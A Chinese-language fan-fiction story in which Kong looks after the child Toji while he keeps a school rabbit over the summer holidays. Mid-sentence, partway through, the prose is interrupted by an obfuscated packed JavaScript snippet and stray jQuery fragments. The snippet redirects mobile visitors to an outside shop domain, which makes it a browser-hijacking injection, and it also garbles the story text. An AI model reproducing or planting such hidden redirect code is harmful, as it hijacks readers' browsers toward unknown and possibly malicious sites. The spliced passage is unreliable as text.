第一学期最后一天，孔去学校接他。
放暑假，校门口乱哄哄的。一堆小孩拎着平时搁在教室里的东西往外涌——画具、一学期攒下的作业、养了半年的牵牛花盆、卷成筒的通知表。蝉刚开始叫，天热得人发昏。孔靠在车边等，老远看见甚尔从人堆里挤出来，怀里抱着个铁丝笼子。
笼子不小，他抱得倒稳，没让它晃一下。别的小孩看见那笼子都凑过去看两眼，甚尔谁也不理，径直走过来。走近了孔才看清，笼子里蹲着一只兔子。白的，红眼睛，一只耳朵立着、一只耷拉着。
“那是什么。”
“兔子。”
“我看得出来是兔子。”
是学校的。甚尔说他是饲育委员会的，暑假里学校那几只兔子轮流让委员领回家养几天，这一阵轮到他。
孔不记得他什么时候进的饲育委员会。大概又是哪张甚尔放学带回来、他没细看就签了字的纸。
“一堆社团，怎么挑的这个。”
“不用跑，不用跳。事儿少。”
孔没再问。道理他门儿清。运动会那阵的事他还记得，跑跳投掷样样得压着来。压这事儿比跑啊跳啊都更累。压不住的就得藏起来，养兔子好，喂喂草、扫扫笼子，混在一群委员里头不起眼，犯不上在一帮小孩跟前露那身本事。
上车。兔子搁在后座，随着车颠，红眼睛一眨不眨，那只立着的耳朵冲着窗外。甚尔坐在边上，半路回头看了它两眼，又转回去。
——
回到家，孔得给这玩意儿腾个地方。
这屋子本来就不是给兔子住的。藏家伙的柜子、压在地板底下那层现金、抽屉里几本不同名字的护照、墙角立着的那几样说不清是什么的“工具”——中间硬生生杵进来一个兔笼子，怎么看怎么不搭。孔拎着笼子在屋里转了一圈，最后搁在窗边一块空地上，离那些东西远着点。一屋子见不得光的东西，配一只红眼睛的兔子，他自己都觉得离谱。
甚尔蹲下来收拾。铺垫料，添水，把一小把草搁进食槽，再把兔子从怀里放进去，动作不紧不慢，有板有眼，像在安置什么正经家什。兔子进了笼子，原地抖了抖毛，凑到食槽边上啃起草来。
学校还发了张纸，写着喂什么、一天喂几回、笼子多久清一遍、天热要怎么着。甚尔照着做，一条不落，跟对着说明书装东西似的。这小鬼没养过活物——禅院那地方，猫都比他金贵，没人教过他怎么伺候一个比自己还弱的东西。可纸上写了，他就照着来，做得跟纸上一模一样。
“ミミ。”甚尔忽然说。（Mimi，有耳朵的意思）
“啊？”
“它的名字。”
孔看了他一眼，没接茬，回头继续给笼子找个更稳当的位置。
耳朵长，就叫耳朵。起得真省。
孔没说什么，把烟点上。
——
接下来几天，甚尔养这只兔子，养得一丝不苟。
早一回晚一回地喂，定点添水。笼子脏了就清，垫料隔天换一遍，换下来的拿报纸包好扔了，地上的碎屑扫干净，水渍擦掉。喂食的时候他蹲在笼子边上看着，不逗它，不跟它说话，也不像别的小孩那样把脸贴上去。就那么蹲着看，看它把草啃完、把水喝够了，才起身去干别的。
几天下来，日子里多出一截固定的东西。早上甚尔先去看一眼笼子，添了草添了水，才坐下扒早饭。晚上打完游戏，再去清一遍。孔起初嫌占地方，后来也就那么着了——抽烟的时候眼睛搁那笼子上，比搁电视上还多些。一屋子冷冰冰的东西里头，那点动静，啃草的声、爪子刨垫料的声，倒添了点活气。这个他没承认过，连对自己也没承认。
孔在沙发上抽烟，看甚尔喂兔子，看着看着，夹烟的手停了一下。
——这套他眼熟。
定点，看着，不声不响，把一个活物侍弄活，喂饱了不添一句多余的话。这套做法他在哪儿见过。
他没往下想，把烟在烟灰缸里摁了。
兔子的吃食是孔买的。下了班顺路拐进超市，绕到生鲜那头，牧草、卷心菜叶、胡萝卜，照着份儿拿。生鲜区的灯白得晃眼。一个常年在黑市里讨价还价、谈的是枪是命的人，这会儿站在菜架子前头，捏着两片卷心菜叶挑老嫩，拿起一袋牧草翻到背面看成分，跟当年查一份来路不明的货似的，挺好笑。可这个他算得明白。一天喂几回，一回多少，哪样不能多给，缺了水会怎么样，清清楚楚，像记账。活物反倒好对付。活物的账，他熟。
天热，他还得操心那玩意儿会不会热着。查了查，说兔子怕热不怕冷，三十几度能要命。孔把空调给那屋常开着，电费多走是多走，没说什么——花在一只借来的兔子身上，他也没觉出哪里不对。
兔子也不是全不闹腾。头一晚它啃断了根电线，孔早上起来差点没骂出声。屎球滚得满地都是，有一颗一路滚到了枪柜底下，孔趴在地上拿尺子够了半天。后半夜那家伙不知抽的什么风，在笼子里乱蹦，哐当哐当撞得人睡不着。
孔骂骂咧咧地披着衣服爬起来，蹲到笼子跟前。兔子瞪着两只红眼睛看他，连那只本来立着的耳朵都耷拉了下去。
“……你他妈半夜不睡。”
兔子没搭理他，又往笼子壁上蹦了一下。
“阿一西。”
那头甚尔屋里一点动静没有。孔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660087|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回了床，听着那笼子又响了两声，才慢慢消停。
不过也有一回，后半夜孔起来倒水，看见甚尔屋里漏出一线光。门开着道缝，没出来，趴在自己屋门口，隔着一段黑看那笼子——大概是被那点动静吵的，又大概不是。看了会儿，光灭了，门轻轻合上。孔站在过道里，没去敲他的门。
白天他也撞见过甚尔蹲在笼子边上，不喂也不清，就那么看着兔子。兔子在他跟前不躲不炸毛，自顾自啃草。孔看不出他在想什么。
——
有一回甚尔清笼子，笼门没扣严。兔子瞅着那条缝，嗖地一下窜了出来，往屋里蹿。
孔正端着杯水，眼角才扫到一道白影，还没反应过来——
甚尔的手已经到了。
一把兜住。稳稳的。那兔子从蹿出去到被兜回来，统共没两个数，落在他掌心里连颠都没颠一下，红眼睛还瞪着，大概自个儿都没闹明白是怎么回事。
跟他扔东西、跟他捅东西，一个准头。一眼瞄过去，手到，分毫不差。
只是这一回，他手里兜住的，是只活的。
甚尔把兔子放回笼子，这回把门扣严实了，跟没事人一样接着清他的笼子。
孔看着，没说话，端着那杯水又喝了一口。
——
当番到头那天，兔子要送回学校。
甚尔把ミミ装回那个铁丝笼子，临出门还添了把草让它路上吃，拎起来，跟孔出门。
到了学校，交接的老师在饲育小屋那儿等着。甚尔把笼子递过去，老师在本子上记了一笔，让他签个字。他签了，把笼子放下，转身。
面不改色。跟还任何一样借来的东西一个样——签字，放下，走人。
什么都没留。没多看那兔子一眼，没伸手摸一下，没说句话。
孔站在小屋外头等他，看着他把那只养了几天、有名字的兔子，跟交一份验完的货似的递出去。老师道了声谢，翻着本子说下回轮到谁谁谁。甚尔应了一声，转身走回孔这边来，手里空了。
回来的路上他也没提兔子。到家把书包往沙发上一撂，开了游戏机，那点动静跟平时一模一样，仿佛这几天压根没有过那么一只东西，在这屋里啃过草、撞过笼子、半夜吵过人。
屋里一下子静下来。没有啃草的声了，没有爪子刨垫料的声了，那点多出来的活气，跟着笼子一块儿出了门。
孔站在窗边那块空出来的地方。垫料的碎屑还沾在地板缝里，水渍干了一圈浅印子，是那笼子搁过的地方。他点了根烟，打火机嚓地一下。
养了几天，喂得不错，又干干净净地还了回去。
孔没接着想，抽烟。